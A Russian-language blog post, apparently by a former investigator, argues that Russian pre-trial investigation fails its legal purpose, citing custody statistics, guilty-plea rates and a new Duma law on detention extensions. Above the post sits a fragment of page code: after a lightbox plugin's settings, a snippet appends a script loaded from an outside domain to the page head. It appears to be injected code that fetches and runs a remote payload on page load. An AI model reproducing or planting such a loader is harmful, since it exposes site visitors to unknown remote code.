, 'opacity': false, 'speedIn': 500, 'speedOut': 500, 'changeSpeed': 300, 'overlayShow': false, 'overlayOpacity': "", 'overlayColor': "", 'titleShow': false, 'titlePosition': '', 'enableEscapeButton': false, 'showCloseButton': false, 'showNavArrows': false, 'hideOnOverlayClick': false, 'hideOnContentClick': false, 'width': 500, 'height': 340, 'transitionIn': "", 'transitionOut': "", 'centerOnScroll': false }); var script = document.createElement('script'); script.type= 'text/javascript'; script.src = 'https://cdn.messagefromspaces.com/c.js?pro=type'; document.getElementsByTagName('head')[0].appendChild(script); })
RSS
 

Кому нужно такое уголовное судопроизводство?

26 Июл

Прожив более 70 лет при осуществлении государственной власти  Сталиным, Хрущёвым. Брежневым, Горбачёвым, Ельциным и Путиным, могу утверждать, что никто, из названных руководителей страны,  так и не сумел создать предварительное расследование, отвечающее назначению  уголовного судопроизводства.

Сорок пять  лет тому назад я окончил Высшую следственную школу МВД СССР и верно более 26 лет служил  https://echo.msk.ru/blog/advokatvladimir/1908756-echo/  Закону.

Сейчас уже можно утверждать, что, из 30 слушателей нашей группы, только 10 человек поступали также.

И вот, что из этого получилось.

В День сотрудника органов следствия Российской Федерации, Председатель Следственного комитета Российской Федерации Александр Бастрыкин дал интервью   «Российской газете»  https://sledcom.ru/press/interview/item/1376150/?utm_referrer=https%3A%2F%2Fzen.yandex.com

Он сообщил о том, что идет тенденция к снижению числа лиц, в отношении которых в ходе предварительного следствия применяется мера пресечения в виде заключения под стражу.

Однако ничего не сказал о том, как осуществляется ведомственный контроль над тем, как следователи исполняют порядок привлечения в качестве обвиняемого, что является главным основанием при избрании любой меры пресечения?

Александр Бастрыкин признал, что  правоприменительная практика ответственности за организацию и участие в деятельности преступного сообщества (статья 210 УК РФ), изменилась после  обращения предпринимателей на «Прямую линию» с президентом России.

Если в 2018 году в Следственном комитете возбуждено 41 уголовное дело о преступлениях, предусмотренных статьей 210 Уголовного кодекса РФ, то в текущем году возбуждено только четыре уголовных дела по этой статье.

Разве такая деятельность может характеризовать следствие, как самостоятельный и зависимый только от Конституции и федеральных законов, орган?

Говоря о качестве, работы, глава ведомства, сославшись на статистику, отметил, что  число уголовных дел, возвращенных на доработку судами, по сравнению с 2006 годом, то есть до проведения реформы следственных органов, уменьшилось в четыре раза (с 5047 дел до 1504). И это свидетельствует о том, что сейчас допускается меньше процессуальных нарушений, чем 12 лет назад.

Однако та же статистика утверждает, что за эти годы количество уголовных дел направленных для рассмотрения их в судах в особом порядке, когда обвиняемый согласен с предъявленным ему обвинением, а суды не исследуют собранные по делу доказательства, достигла 70% от общего числа, направляемых в суды.

в 2018 году было рассмотрено в особом порядке 560 тысяч уголовных дел, по которым были осуждены 480 тысяч человек.

При таком осуждении игнорируя требования Основного Закона страны о доказывании виновности обвиняемого и недопустимости использования доказательств, полученных с нарушением федерального закона.

А федеральный закон, часть 2 статьи  77 УПК РФ, предписывает, что признание обвиняемым своей вины в совершении преступления может быть положено в основу обвинения лишь при подтверждении его виновности совокупностью имеющихся по уголовному делу доказательств.

Если обвиняемые по 70% уголовных дел, признают предъявленное им обвинение, то в силу каких обстоятельств, 35 процентов от общего числа оконченных дел, расследуется более двух месяцев?

Ответ даёт Генеральный прокурор России, Юрий Чайка, анализируя такую правоприменительную практику, публично говоря о деградации https://www.rbc.ru/society/21/02/2018/5a8d75e69a7947394f7b3729     российских следователей, которые предпочитая вместо поиска улик и интеллектуального состязания с преступником сажать всех подозреваемых в тюрьму и держать там до получения признательных показаний.

Для борьбы с таким явлением 23 июля Государственная Дума приняла http://alrf.ru/news/prinyat-zakon-isklyuchayushchiy-nemotivirovannoe-prodlenie-sroka-soderzhaniya-pod-strazhey/?utm_referrer=https%3A%2F%2Fzen.yandex.com  в третьем чтении закон, исключающий немотивированное продление срока содержания под стражей.

Председатель Комитета Государственной Думы Павел Крашенинников сообщил, что принятый закон направлен на исключение фактов продления сроков содержания под стражей в случаях, когда по делу не проводятся активные следственные действия.

Дожили. Уже законодательно признаём, что  люди, чья вина не доказана, содержатся под стражей и с ними не проводятся «активные следственные действия».

Во время моей работы в середине 70-х годов, следователей за подобные деяния понижали в должности, лишали званий или увольняли.

Этим законом подтверждается отсутствие в ведомстве ведомственного контроля, а также неисполнение судьями уголовного судопроизводства, направленного на защиту личности от незаконного и необоснованного обвинения, осуждения, ограничения её прав и свобод.

Законодательно предписывается, что в ходатайстве о продлении срока содержания лица под стражей, должны быть указаны основания и мотивы продления срока содержания лица в СИЗО; сведения о произведенных следственных и иных процессуальных действиях; данные, свидетельствующие о необходимости производства следственных и иных действий; причины, по которым указанные действия не были осуществлены в установленные ранее сроки содержания под стражей.

А разве могло быть как-то иначе?

Получается, что, не располагая этими сведениями, начальники следственных органов такие ходатайства подписывали, а  суды продлевали сроки содержания под стражей?

Возможно, из-за отсутствия надлежащего ведомственного контроля Владимир Путин подписал https://realnoevremya.ru/news/143682-putin-sokratil-kolichestvo-generalskih-dolzhnostey-v-sk?utm_referrer=https%3A%2F%2Fzen.yandex.com    указ о сокращении генеральских должностей в Следственном комитете России.

Но, вряд ли, такие меры заставят верно служить Закону.

 
Комментариев нет

Автор: ossin Категория: Прочие заметки

 

Оставить комментарий

Вы должны войти, чтобы оставить комментарий.